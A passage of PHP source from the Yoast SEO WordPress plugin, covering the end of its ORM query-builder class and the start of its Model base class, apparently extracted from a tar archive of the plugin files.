	 * Adds a WHERE ... IN clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param array        $values      The values.
	 *
	 * @return ORM
	 */
	public function where_in( $column_name, $values ) {
		return $this->add_where_placeholder( $column_name, 'IN', $values );
	}

	/**
	 * Adds a WHERE ... NOT IN clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param array        $values      The values.
	 *
	 * @return ORM
	 */
	public function where_not_in( $column_name, $values ) {
		return $this->add_where_placeholder( $column_name, 'NOT IN', $values );
	}

	/**
	 * Adds a WHERE column IS NULL clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function where_null( $column_name ) {
		return $this->add_where_no_value( $column_name, 'IS NULL' );
	}

	/**
	 * Adds a WHERE column IS NOT NULL clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function where_not_null( $column_name ) {
		return $this->add_where_no_value( $column_name, 'IS NOT NULL' );
	}

	/**
	 * Adds a raw WHERE clause to the query. The clause should contain question mark placeholders, which will be bound
	 * to the parameters supplied in the second argument.
	 *
	 * @param string $clause     The clause that should contain question mark placeholders.
	 * @param array  $parameters The parameters to include in the query.
	 *
	 * @return ORM
	 */
	public function where_raw( $clause, $parameters = [] ) {
		return $this->add_where( $clause, $parameters );
	}

	/**
	 * Adds a LIMIT to the query.
	 *
	 * @param int $limit The limit.
	 *
	 * @return ORM
	 */
	public function limit( $limit ) {
		$this->limit = $limit;

		return $this;
	}

	/**
	 * Adds an OFFSET to the query.
	 *
	 * @param int $offset The offset.
	 *
	 * @return ORM
	 */
	public function offset( $offset ) {
		$this->offset = $offset;

		return $this;
	}

	/**
	 * Adds an ORDER BY clause to the query.
	 *
	 * @param string $column_name The column name.
	 * @param string $ordering    The ordering. DESC or ASC.
	 *
	 * @return ORM
	 */
	protected function add_order_by( $column_name, $ordering ) {
		$column_name      = $this->quote_identifier( $column_name );
		$this->order_by[] = "{$column_name} {$ordering}";

		return $this;
	}

	/**
	 * Adds an ORDER BY column DESC clause.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function order_by_desc( $column_name ) {
		return $this->add_order_by( $column_name, 'DESC' );
	}

	/**
	 * Adds an ORDER BY column ASC clause.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function order_by_asc( $column_name ) {
		return $this->add_order_by( $column_name, 'ASC' );
	}

	/**
	 * Adds an unquoted expression as an ORDER BY clause.
	 *
	 * @param string $clause The clause.
	 *
	 * @return ORM
	 */
	public function order_by_expr( $clause ) {
		$this->order_by[] = $clause;

		return $this;
	}

	/**
	 * Adds a column to the list of columns to GROUP BY.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function group_by( $column_name ) {
		$column_name      = $this->quote_identifier( $column_name );
		$this->group_by[] = $column_name;

		return $this;
	}

	/**
	 * Adds an unquoted expression to the list of columns to GROUP BY.
	 *
	 * @param string $expr The expression.
	 *
	 * @return ORM
	 */
	public function group_by_expr( $expr ) {
		$this->group_by[] = $expr;

		return $this;
	}

	/**
	 * Adds a HAVING column = value clause to your query.
	 *
	 * Each time this is called in the chain, an additional HAVING will be added, and these will be ANDed together when
	 * the final query is built.
	 *
	 * If you use an array in $column_name, a new clause will be added for each element. In this case, $value is
	 * ignored.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value.
	 *
	 * @return ORM
	 */
	public function having( $column_name, $value = null ) {
		return $this->having_equal( $column_name, $value );
	}

	/**
	 * Adds a having equal to your query.
	 *
	 * More explicitly named version of for the having() method. Can be used if preferred.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value.
	 *
	 * @return ORM
	 */
	public function having_equal( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, '=', $value );
	}

	/**
	 * Adds a HAVING column != value clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed|null   $value       The value.
	 *
	 * @return ORM
	 */
	public function having_not_equal( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, '!=', $value );
	}

	/**
	 * Queries the table by its primary key. Special method.
	 *
	 * If primary key is compound, only the columns that belong to they key will be used for the query.
	 *
	 * @param string $id The ID.
	 *
	 * @return ORM
	 */
	public function having_id_is( $id ) {
		return \is_array( $this->get_id_column_name() ) ? $this->having( $this->get_compound_id_column_values( $id ), null ) : $this->having( $this->get_id_column_name(), $id );
	}

	/**
	 * Adds a HAVING ... LIKE clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param string|null  $value       The value.
	 *
	 * @return ORM
	 */
	public function having_like( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, 'LIKE', $value );
	}

	/**
	 * Adds where HAVING ... NOT LIKE clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param string|null  $value       The value.
	 *
	 * @return ORM
	 */
	public function having_not_like( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, 'NOT LIKE', $value );
	}

	/**
	 * Adds a HAVING ... > clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed        $value       The value.
	 *
	 * @return ORM
	 */
	public function having_gt( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, '>', $value );
	}

	/**
	 * Adds a HAVING ... < clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed        $value       The value.
	 *
	 * @return ORM
	 */
	public function having_lt( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, '<', $value );
	}

	/**
	 * Adds a HAVING ... >= clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed        $value       The value. Defaults to null.
	 *
	 * @return ORM
	 */
	public function having_gte( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, '>=', $value );
	}

	/**
	 * Adds a HAVING ... <= clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param mixed        $value       The value.
	 *
	 * @return ORM
	 */
	public function having_lte( $column_name, $value = null ) {
		return $this->add_simple_having( $column_name, '<=', $value );
	}

	/**
	 * Adds a HAVING ... IN clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param array|null   $values      The values. Defaults to null.
	 *
	 * @return ORM
	 */
	public function having_in( $column_name, $values = null ) {
		return $this->add_having_placeholder( $column_name, 'IN', $values );
	}

	/**
	 * Adds a HAVING ... NOT IN clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 * @param array|null   $values      The values. Defaults to null.
	 *
	 * @return ORM
	 */
	public function having_not_in( $column_name, $values = null ) {
		return $this->add_having_placeholder( $column_name, 'NOT IN', $values );
	}

	/**
	 * Adds a HAVING column IS NULL clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function having_null( $column_name ) {
		return $this->add_having_no_value( $column_name, 'IS NULL' );
	}

	/**
	 * Adds a HAVING column IS NOT NULL clause to your query.
	 *
	 * @param string|array $column_name The table column.
	 *
	 * @return ORM
	 */
	public function having_not_null( $column_name ) {
		return $this->add_having_no_value( $column_name, 'IS NOT NULL' );
	}

	/**
	 * Adds a raw HAVING clause to the query. The clause should contain question mark placeholders, which will be bound
	 * to the parameters supplied in the second argument.
	 *
	 * @param string $clause     The clause that should contain question mark placeholders.
	 * @param array  $parameters The parameters to include in the query.
	 *
	 * @return ORM
	 */
	public function having_raw( $clause, $parameters = [] ) {
		return $this->add_having( $clause, $parameters );
	}

	/**
	 * Builds a SELECT statement based on the clauses that have been passed to this instance by chaining method calls.
	 *
	 * @return string
	 */
	protected function build_select() {
		// If the query is raw, just set the $this->values to be the raw query parameters and return the raw query.
		if ( $this->is_raw_query ) {
			$this->values = $this->raw_parameters;

			return $this->raw_query;
		}

		// Build and return the full SELECT statement by concatenating the results of calling each separate builder method.
		return $this->join_if_not_empty(
			' ',
			[
				$this->build_select_start(),
				$this->build_join(),
				$this->build_where(),
				$this->build_group_by(),
				$this->build_having(),
				$this->build_order_by(),
				$this->build_limit(),
				$this->build_offset(),
			]
		);
	}

	/**
	 * Builds the start of the SELECT statement.
	 *
	 * @return string
	 */
	protected function build_select_start() {
		$fragment       = 'SELECT ';
		$result_columns = \implode( ', ', $this->result_columns );
		if ( $this->distinct ) {
			$result_columns = 'DISTINCT ' . $result_columns;
		}
		$fragment .= "{$result_columns} FROM " . $this->quote_identifier( $this->table_name );
		if ( ! \is_null( $this->table_alias ) ) {
			$fragment .= ' ' . $this->quote_identifier( $this->table_alias );
		}

		return $fragment;
	}

	/**
	 * Builds the JOIN sources.
	 *
	 * @return string
	 */
	protected function build_join() {
		if ( \count( $this->join_sources ) === 0 ) {
			return '';
		}

		return \implode( ' ', $this->join_sources );
	}

	/**
	 * Builds the WHERE clause(s).
	 *
	 * @return string
	 */
	protected function build_where() {
		return $this->build_conditions( 'where' );
	}

	/**
	 * Build the HAVING clause(s)
	 *
	 * @return string
	 */
	protected function build_having() {
		return $this->build_conditions( 'having' );
	}

	/**
	 * Builds GROUP BY.
	 *
	 * @return string
	 */
	protected function build_group_by() {
		if ( \count( $this->group_by ) === 0 ) {
			return '';
		}

		return 'GROUP BY ' . \implode( ', ', $this->group_by );
	}

	/**
	 * Builds a WHERE or HAVING clause.
	 *
	 * @param string $type Where or having.
	 *
	 * @return string
	 */
	protected function build_conditions( $type ) {
		$conditions_class_property_name = "{$type}_conditions";
		// If there are no clauses, return empty string.
		if ( \count( $this->{$conditions_class_property_name} ) === 0 ) {
			return '';
		}
		$conditions = [];
		foreach ( $this->{$conditions_class_property_name} as $condition ) {
			$conditions[] = $condition[ self::CONDITION_FRAGMENT ];
			$this->values = \array_merge( $this->values, $condition[ self::CONDITION_VALUES ] );
		}

		return \strtoupper( $type ) . ' ' . \implode( ' AND ', $conditions );
	}

	/**
	 * Builds ORDER BY.
	 *
	 * @return string
	 */
	protected function build_order_by() {
		if ( \count( $this->order_by ) === 0 ) {
			return '';
		}

		return 'ORDER BY ' . \implode( ', ', $this->order_by );
	}

	/**
	 * Builds LIMIT.
	 *
	 * @return string
	 */
	protected function build_limit() {
		if ( ! \is_null( $this->limit ) ) {
			return "LIMIT {$this->limit}";
		}

		return '';
	}

	/**
	 * Builds OFFSET.
	 *
	 * @return string
	 */
	protected function build_offset() {
		if ( ! \is_null( $this->offset ) ) {
			return 'OFFSET ' . $this->offset;
		}

		return '';
	}

	/**
	 * Joins strings if they are not empty.
	 *
	 * @param string   $glue   Glue.
	 * @param string[] $pieces Pieces to join.
	 *
	 * @return string
	 */
	protected function join_if_not_empty( $glue, $pieces ) {
		$filtered_pieces = [];
		foreach ( $pieces as $piece ) {
			if ( \is_string( $piece ) ) {
				$piece = \trim( $piece );
			}
			if ( ! empty( $piece ) ) {
				$filtered_pieces[] = $piece;
			}
		}

		return \implode( $glue, $filtered_pieces );
	}

	/**
	 * Quotes a string that is used as an identifier (table names, column names etc).
	 * This method can also deal with dot-separated identifiers eg table.column.
	 *
	 * @param string|string[] $identifier One or more identifiers.
	 *
	 * @return string
	 */
	protected function quote_one_identifier( $identifier ) {
		$parts = \explode( '.', $identifier );
		$parts = \array_map( [ $this, 'quote_identifier_part' ], $parts );

		return \implode( '.', $parts );
	}

	/**
	 * Quotes a string that is used as an identifier (table names, column names etc) or an array containing multiple
	 * identifiers. This method can also deal with dot-separated identifiers eg table.column.
	 *
	 * @param string|string[] $identifier One or more identifiers.
	 *
	 * @return string
	 */
	protected function quote_identifier( $identifier ) {
		if ( \is_array( $identifier ) ) {
			$result = \array_map( [ $this, 'quote_one_identifier' ], $identifier );

			return \implode( ', ', $result );
		}
		else {
			return $this->quote_one_identifier( $identifier );
		}
	}

	/**
	 * Quotes a single part of an identifier, using the identifier quote character specified in the config
	 * (or autodetected).
	 *
	 * @param string $part The part to quote.
	 *
	 * @return string
	 */
	protected function quote_identifier_part( $part ) {
		if ( $part === '*' ) {
			return $part;
		}
		$quote_character = '`';

		// Double up any identifier quotes to escape them.
		return $quote_character . \str_replace( $quote_character, $quote_character . $quote_character, $part ) . $quote_character;
	}

	/**
	 * Executes the SELECT query that has been built up by chaining methods on this class.
	 * Return an array of rows as associative arrays.
	 *
	 * @return array|false The result rows. False if the query failed.
	 */
	protected function run() {
		global $wpdb;

		$query   = $this->build_select();
		$success = self::execute( $query, $this->values );

		if ( $success === false ) {
			// If the query fails run the migrations and try again.
			// Action is intentionally undocumented and should not be used by third-parties.
			\do_action( '_yoast_run_migrations' );
			$success = self::execute( $query, $this->values );
		}

		$this->reset_idiorm_state();

		if ( $success === false ) {
			return false;
		}

		$rows = [];
		foreach ( $wpdb->last_result as $row ) {
			$rows[] = \get_object_vars( $row );
		}

		return $rows;
	}

	/**
	 * Resets the Idiorm instance state.
	 *
	 * @return void
	 */
	private function reset_idiorm_state() {
		$this->values                       = [];
		$this->result_columns               = [ '*' ];
		$this->using_default_result_columns = true;
	}

	/**
	 * Returns the raw data wrapped by this ORM instance as an associative array. Column names may optionally be
	 * supplied as arguments, if so, only those keys will be returned.
	 *
	 * @return array Associative array of the raw data.
	 */
	public function as_array() {
		if ( \func_num_args() === 0 ) {
			return $this->data;
		}
		$args = \func_get_args();

		return \array_intersect_key( $this->data, \array_flip( $args ) );
	}

	/**
	 * Returns the value of a property of this object (database row) or null if not present.
	 *
	 * If a column-names array is passed, it will return a associative array with the value of each column or null if
	 * it is not present.
	 *
	 * @param string|array $key Key.
	 *
	 * @return array|mixed|null
	 */
	public function get( $key ) {
		if ( \is_array( $key ) ) {
			$result = [];
			foreach ( $key as $column ) {
				$result[ $column ] = ( $this->data[ $column ] ?? null );
			}

			return $result;
		}
		else {
			return ( $this->data[ $key ] ?? null );
		}
	}

	/**
	 * Returns the name of the column in the database table which contains the primary key ID of the row.
	 *
	 * @return string The primary key ID of the row.
	 */
	protected function get_id_column_name() {
		if ( ! \is_null( $this->instance_id_column ) ) {
			return $this->instance_id_column;
		}

		return 'id';
	}

	/**
	 * Gets the primary key ID of this object.
	 *
	 * @param bool $disallow_null Whether to allow null IDs.
	 *
	 * @return array|mixed|null
	 *
	 * @throws Exception Primary key ID contains null value(s).
	 * @throws Exception Primary key ID missing from row or is null.
	 */
	public function id( $disallow_null = false ) {
		$id = $this->get( $this->get_id_column_name() );
		if ( $disallow_null ) {
			if ( \is_array( $id ) ) {
				foreach ( $id as $id_part ) {
					if ( $id_part === null ) {
						throw new Exception( 'Primary key ID contains null value(s)' );
					}
				}
			}
			elseif ( $id === null ) {
				throw new Exception( 'Primary key ID missing from row or is null' );
			}
		}

		return $id;
	}

	/**
	 * Sets a property to a particular value on this object.
	 *
	 * To set multiple properties at once, pass an associative array as the first parameter and leave out the second
	 * parameter. Flags the properties as 'dirty' so they will be saved to the database when save() is called.
	 *
	 * @param string|array $key   Key.
	 * @param string|null  $value Value.
	 *
	 * @return ORM
	 */
	public function set( $key, $value = null ) {
		return $this->set_orm_property( $key, $value );
	}

	/**
	 * Set a property to a particular value on this object as expression.
	 *
	 * To set multiple properties at once, pass an associative array as the first parameter and leave out the second
	 * parameter. Flags the properties as 'dirty' so they will be saved to the database when save() is called.
	 *
	 * @param string|array $key   Key.
	 * @param string|null  $value Value.
	 *
	 * @return ORM
	 */
	public function set_expr( $key, $value = null ) {
		return $this->set_orm_property( $key, $value, true );
	}

	/**
	 * Sets a property on the ORM object.
	 *
	 * @param string|array $key   Key.
	 * @param string|null  $value Value.
	 * @param bool         $expr  Expression.
	 *
	 * @return ORM
	 */
	protected function set_orm_property( $key, $value = null, $expr = false ) {
		if ( ! \is_array( $key ) ) {
			$key = [ $key => $value ];
		}
		foreach ( $key as $field => $value ) {
			$this->data[ $field ]         = $value;
			$this->dirty_fields[ $field ] = $value;
			if ( $expr === false && isset( $this->expr_fields[ $field ] ) ) {
				unset( $this->expr_fields[ $field ] );
			}
			elseif ( $expr === true ) {
				$this->expr_fields[ $field ] = true;
			}
		}

		return $this;
	}

	/**
	 * Checks whether the given field has been changed since this object was saved.
	 *
	 * @param mixed $key Key.
	 *
	 * @return bool
	 */
	public function is_dirty( $key ) {
		return \array_key_exists( $key, $this->dirty_fields );
	}

	/**
	 * Checks whether the model was the result of a call to create() or not.
	 *
	 * @return bool
	 */
	public function is_new() {
		return $this->is_new;
	}

	/**
	 * Saves any fields which have been modified on this object to the database.
	 *
	 * @return bool True on success.
	 *
	 * @throws Exception Primary key ID contains null value(s).
	 * @throws Exception Primary key ID missing from row or is null.
	 */
	public function save() {
		global $wpdb;

		// Remove any expression fields as they are already baked into the query.
		$values = \array_values( \array_diff_key( $this->dirty_fields, $this->expr_fields ) );
		if ( ! $this->is_new ) {
			// UPDATE.
			// If there are no dirty values, do nothing.
			if ( empty( $values ) && empty( $this->expr_fields ) ) {
				return true;
			}
			$query = \implode( ' ', [ $this->build_update(), $this->add_id_column_conditions() ] );

			$id = $this->id( true );
			if ( \is_array( $id ) ) {
				$values = \array_merge( $values, \array_values( $id ) );
			}
			else {
				$values[] = $id;
			}
		}
		else {
			// INSERT.
			$query = $this->build_insert();
		}
		$success = self::execute( $query, $values );
		// If we've just inserted a new record, set the ID of this object.
		if ( $this->is_new ) {
			$this->is_new = false;
			if ( $this->count_null_id_columns() !== 0 ) {
				$column = $this->get_id_column_name();
				// If the primary key is compound, assign the last inserted id to the first column.
				if ( \is_array( $column ) ) {
					$column = \reset( $column );
				}
				// Explicitly cast to int to make dealing with Id's simpler.
				$this->data[ $column ] = (int) $wpdb->insert_id;
			}
		}
		$this->dirty_fields = [];
		$this->expr_fields  = [];

		return $success;
	}

	/**
	 * Extracts and gathers all dirty column names from the given model instances.
	 *
	 * @param array $models Array of model instances to be inserted.
	 *
	 * @return array The distinct set of columns that are dirty in at least one of the models.
	 *
	 * @throws InvalidArgumentException Instance to be inserted is not a new one.
	 */
	public function get_dirty_column_names( $models ) {
		$dirty_column_names = [];

		foreach ( $models as $model ) {
			if ( ! $model->orm->is_new() ) {
				throw new InvalidArgumentException( 'Instance to be inserted is not a new one' );
			}

			// Remove any expression fields as they are already baked into the query.
			$dirty_fields       = \array_diff_key( $model->orm->dirty_fields, $model->orm->expr_fields );
			$dirty_column_names = \array_merge( $dirty_column_names, $dirty_fields );
		}

		$dirty_column_names = \array_keys( $dirty_column_names );

		return $dirty_column_names;
	}

	/**
	 * Inserts multiple rows in a single query. Expects new rows as it's a strictly insert function, not an update one.
	 *
	 * @example From the Indexable_Link_Builder class: $this->seo_links_repository->query()->insert_many( $links );
	 *
	 * @param array $models Array of model instances to be inserted.
	 *
	 * @return bool True for successful insert, false for failed.
	 *
	 * @throws InvalidArgumentException Invalid instances to be inserted.
	 * @throws InvalidArgumentException Instance to be inserted is not a new one.
	 */
	public function insert_many( $models ) {
		// Validate the input first.
		if ( ! \is_array( $models ) ) {
			throw new InvalidArgumentException( 'Invalid instances to be inserted' );
		}

		if ( empty( $models ) ) {
			return true;
		}

		$success = true;

		/**
		 * Filter: 'wpseo_chunk_bulked_insert_queries' - Allow filtering the chunk size of each bulked INSERT query.
		 *
		 * @param int $chunk_size The chunk size of the bulked INSERT queries.
		 */
		$chunk = \apply_filters( 'wpseo_chunk_bulk_insert_queries', 100 );
		$chunk = ! \is_int( $chunk ) ? 100 : $chunk;
		$chunk = ( $chunk <= 0 ) ? 100 : $chunk;

		$chunked_models = \array_chunk( $models, $chunk );
		foreach ( $chunked_models as $models_chunk ) {
			$values = [];

			// First, we'll gather all the dirty fields throughout the models to be inserted.
			$dirty_column_names = $this->get_dirty_column_names( $models_chunk );

			// Now, we're creating all dirty fields throughout the models and
			// setting them to null if they don't exist in each model.
			foreach ( $models_chunk as $model ) {
				$model_values = [];

				foreach ( $dirty_column_names as $dirty_column ) {
					// Set the value to null if it hasn't been set already.
					if ( ! isset( $model->orm->dirty_fields[ $dirty_column ] ) ) {
						$model->orm->dirty_fields[ $dirty_column ] = null;
					}

					// Only register the value if it is not null.
					if ( ! \is_null( $model->orm->dirty_fields[ $dirty_column ] ) ) {
						$model_values[] = $model->orm->dirty_fields[ $dirty_column ];
					}
				}
				$values = \array_merge( $values, $model_values );
			}

			// We now have the same set of dirty columns in all our models and also gathered all values.
			$query   = $this->build_insert_many( $models_chunk, $dirty_column_names );
			$success = $success && (bool) self::execute( $query, $values );
		}

		return $success;
	}

	/**
	 * Updates many records in the database.
	 *
	 * @return int|bool The number of rows changed if the query was succesful. False otherwise.
	 */
	public function update_many() {
		// Remove any expression fields as they are already baked into the query.
		$values = \array_values( \array_diff_key( $this->dirty_fields, $this->expr_fields ) );

		// UPDATE.
		// If there are no dirty values, do nothing.
		if ( empty( $values ) && empty( $this->expr_fields ) ) {
			return true;
		}

		$query = $this->join_if_not_empty( ' ', [ $this->build_update(), $this->build_where() ] );

		$success            = self::execute( $query, \array_merge( $values, $this->values ) );
		$this->dirty_fields = [];
		$this->expr_fields  = [];

		return $success;
	}

	/**
	 * Adds a WHERE clause for every column that belongs to the primary key.
	 *
	 * @return string The where part of the query.
	 */
	public function add_id_column_conditions() {
		$query   = [];
		$query[] = 'WHERE';
		$keys    = \is_array( $this->get_id_column_name() ) ? $this->get_id_column_name() : [ $this->get_id_column_name() ];
		$first   = true;
		foreach ( $keys as $key ) {
			if ( $first ) {
				$first = false;
			}
			else {
				$query[] = 'AND';
			}
			$query[] = $this->quote_identifier( $key );
			$query[] = '= %s';
		}

		return \implode( ' ', $query );
	}

	/**
	 * Builds an UPDATE query.
	 *
	 * @return string The update query.
	 */
	protected function build_update() {
		$query      = [];
		$query[]    = "UPDATE {$this->quote_identifier($this->table_name)} SET";
		$field_list = [];
		foreach ( $this->dirty_fields as $key => $value ) {
			if ( ! \array_key_exists( $key, $this->expr_fields ) ) {
				$value = ( $value === null ) ? 'NULL' : '%s';
			}
			$field_list[] = "{$this->quote_identifier($key)} = {$value}";
		}
		$query[] = \implode( ', ', $field_list );

		return \implode( ' ', $query );
	}

	/**
	 * Builds an INSERT query.
	 *
	 * @return string The insert query.
	 */
	protected function build_insert() {
		$query        = [];
		$query[]      = 'INSERT INTO';
		$query[]      = $this->quote_identifier( $this->table_name );
		$field_list   = \array_map( [ $this, 'quote_identifier' ], \array_keys( $this->dirty_fields ) );
		$query[]      = '(' . \implode( ', ', $field_list ) . ')';
		$query[]      = 'VALUES';
		$placeholders = $this->create_placeholders( $this->dirty_fields );
		$query[]      = "({$placeholders})";

		return \implode( ' ', $query );
	}

	/**
	 * Builds a bulk INSERT query.
	 *
	 * @param array $models             Array of model instances to be inserted.
	 * @param array $dirty_column_names Array of dirty fields to be used in INSERT.
	 *
	 * @return string The insert query.
	 */
	protected function build_insert_many( $models, $dirty_column_names ) {
		$example_model      = $models[0];
		$total_placeholders = '';

		$query      = [];
		$query[]    = 'INSERT INTO';
		$query[]    = $this->quote_identifier( $example_model->orm->table_name );
		$field_list = \array_map( [ $this, 'quote_identifier' ], $dirty_column_names );
		$query[]    = '(' . \implode( ', ', $field_list ) . ')';
		$query[]    = 'VALUES';

		// We assign placeholders per model for dirty fields that have values and NULL for dirty fields that don't.
		foreach ( $models as $model ) {
			$placeholder = [];
			foreach ( $dirty_column_names as $dirty_field ) {
				$placeholder[] = ( $model->orm->dirty_fields[ $dirty_field ] === null ) ? 'NULL' : '%s';
			}
			$placeholders        = \implode( ', ', $placeholder );
			$total_placeholders .= "({$placeholders}),";
		}

		$query[] = \rtrim( $total_placeholders, ',' );
		return \implode( ' ', $query );
	}

	/**
	 * Deletes this record from the database.
	 *
	 * @return string The delete query.
	 *
	 * @throws Exception Primary key ID contains null value(s).
	 * @throws Exception Primary key ID missing from row or is null.
	 */
	public function delete() {
		$query = [ 'DELETE FROM', $this->quote_identifier( $this->table_name ), $this->add_id_column_conditions() ];

		return self::execute( \implode( ' ', $query ), \is_array( $this->id( true ) ) ? \array_values( $this->id( true ) ) : [ $this->id( true ) ] );
	}

	/**
	 * Deletes many records from the database.
	 *
	 * @return bool|int Response of wpdb::query.
	 */
	public function delete_many() {
		// Build and return the full DELETE statement by concatenating
		// the results of calling each separate builder method.
		$query = $this->join_if_not_empty(
			' ',
			[
				'DELETE FROM',
				$this->quote_identifier( $this->table_name ),
				$this->build_where(),
			]
		);

		return self::execute( $query, $this->values );
	}

	/*
	 * ---  ArrayAccess  ---
	 */

	/**
	 * Checks whether the data has the key.
	 *
	 * @param mixed $offset Key.
	 *
	 * @return bool Whether the data has the key.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		return \array_key_exists( $offset, $this->data );
	}

	/**
	 * Retrieves the value of the key.
	 *
	 * @param mixed $offset Key.
	 *
	 * @return array|mixed|null The value.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return $this->get( $offset );
	}

	/**
	 * Sets the value of the key.
	 *
	 * @param string|int $offset Key.
	 * @param mixed      $value  Value.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		if ( \is_null( $offset ) ) {
			return;
		}
		$this->set( $offset, $value );
	}

	/**
	 * Removes the given key from the data.
	 *
	 * @param mixed $offset Key.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		unset( $this->data[ $offset ] );
		unset( $this->dirty_fields[ $offset ] );
	}

	/*
	 * --- MAGIC METHODS ---
	 */

	/**
	 * Handles magic get via offset.
	 *
	 * @param mixed $key Key.
	 *
	 * @return array|mixed|null The value in the offset.
	 */
	public function __get( $key ) {
		return $this->offsetGet( $key );
	}

	/**
	 * Handles magic set via offset.
	 *
	 * @param string|int $key   Key.
	 * @param mixed      $value Value.
	 *
	 * @return void
	 */
	public function __set( $key, $value ) {
		$this->offsetSet( $key, $value );
	}

	/**
	 * Handles magic unset via offset.
	 *
	 * @param mixed $key Key.
	 *
	 * @return void
	 */
	public function __unset( $key ) {
		$this->offsetUnset( $key );
	}

	/**
	 * Handles magic isset via offset.
	 *
	 * @param mixed $key Key.
	 *
	 * @return bool Whether the offset has the key.
	 */
	public function __isset( $key ) {
		return $this->offsetExists( $key );
	}
}
wordpress-seo/lib/model.php000064400000055500147510273110011745 0ustar00<?php

namespace Yoast\WP\Lib;

use Exception;
use JsonSerializable;
use ReturnTypeWillChange;

/**
 * Make Model compatible with WordPress.
 *
 * Model base class. Your model objects should extend
 * this class. A minimal subclass would look like:
 *
 * class Widget extends Model {
 * }
 */
class Model implements JsonSerializable {

	/**
	 * Default ID column for all models. Can be overridden by adding
	 * a public static $id_column property to your model classes.
	 *
	 * @var string
	 */
	public const DEFAULT_ID_COLUMN = 'id';

	/**
	 * Default foreign key suffix used by relationship methods.
	 *
	 * @var string
	 */
	public const DEFAULT_FOREIGN_KEY_SUFFIX = '_id';

	/**
	 * Set a prefix for model names. This can be a namespace or any other
	 * abitrary prefix such as the PEAR naming convention.
	 *
	 * @example Model::$auto_prefix_models = 'MyProject_MyModels_'; //PEAR
	 * @example Model::$auto_prefix_models = '\MyProject\MyModels\'; //Namespaces
	 *
	 * @var string
	 */
	public static $auto_prefix_models = '\Yoast\WP\SEO\Models\\';

	/**
	 * Set true to to ignore namespace information when computing table names
	 * from class names.
	 *
	 * @example Model::$short_table_names = true;
	 * @example Model::$short_table_names = false; // default
	 *
	 * @var bool
	 */
	public static $short_table_names = false;

	/**
	 * The ORM instance used by this model instance to communicate with the database.
	 *
	 * @var ORM
	 */
	public $orm;

	/**
	 * The table name for the implemented Model.
	 *
	 * @var string
	 */
	public static $table;

	/**
	 * Whether or not this model uses timestamps.
	 *
	 * @var bool
	 */
	protected $uses_timestamps = false;

	/**
	 * Which columns contain boolean values.
	 *
	 * @var array
	 */
	protected $boolean_columns = [];

	/**
	 * Which columns contain int values.
	 *
	 * @var array
	 */
	protected $int_columns = [];

	/**
	 * Which columns contain float values.
	 *
	 * @var array
	 */
	protected $float_columns = [];

	/**
	 * Hacks around the Model to provide WordPress prefix to tables.
	 *
	 * @param string $class_name   Type of Model to load.
	 * @param bool   $yoast_prefix Optional. True to prefix the table name with the Yoast prefix.
	 *
	 * @return ORM Wrapper to use.
	 */
	public static function of_type( $class_name, $yoast_prefix = true ) {
		// Prepend namespace to the class name.
		$class = static::$auto_prefix_models . $class_name;

		// Set the class variable to the custom value based on the WPDB prefix.
		$class::$table = static::get_table_name( $class_name, $yoast_prefix );

		return static::factory( $class_name, null );
	}

	/**
	 * Creates a model without the Yoast prefix.
	 *
	 * @param string $class_name Type of Model to load.
	 *
	 * @return ORM
	 */
	public static function of_wp_type( $class_name ) {
		return static::of_type( $class_name, false );
	}

	/**
	 * Exposes method to get the table name to use.
	 *
	 * @param string $table_name   Simple table name.
	 * @param bool   $yoast_prefix Optional. True to prefix the table name with the Yoast prefix.
	 *
	 * @return string Prepared full table name.
	 */
	public static function get_table_name( $table_name, $yoast_prefix = true ) {
		global $wpdb;

		// Allow the use of WordPress internal tables.
		if ( $yoast_prefix ) {
			$table_name = 'yoast_' . $table_name;
		}

		return $wpdb->prefix . \strtolower( $table_name );
	}

	/**
	 * Sets the table name for the given class name.
	 *
	 * @param string $class_name The class to set the table name for.
	 *
	 * @return void
	 */
	protected function set_table_name( $class_name ) {
		// Prepend namespace to the class name.
		$class = static::$auto_prefix_models . $class_name;

		$class::$table = static::get_table_name( $class_name );
	}

	/**
	 * Retrieve the value of a static property on a class. If the
	 * class or the property does not exist, returns the default
	 * value supplied as the third argument (which defaults to null).
	 *
	 * @param string     $class_name    The target class name.
	 * @param string     $property      The property to get the value for.
	 * @param mixed|null $default_value Default value when property does not exist.
	 *
	 * @return mixed|null The value of the property.
	 */
	protected static function get_static_property( $class_name, $property, $default_value = null ) {
		if ( ! \class_exists( $class_name ) || ! \property_exists( $class_name, $property ) ) {
			return $default_value;
		}

		if ( ! isset( $class_name::${$property} ) ) {
			return $default_value;
		}

		return $class_name::${$property};
	}

	/**
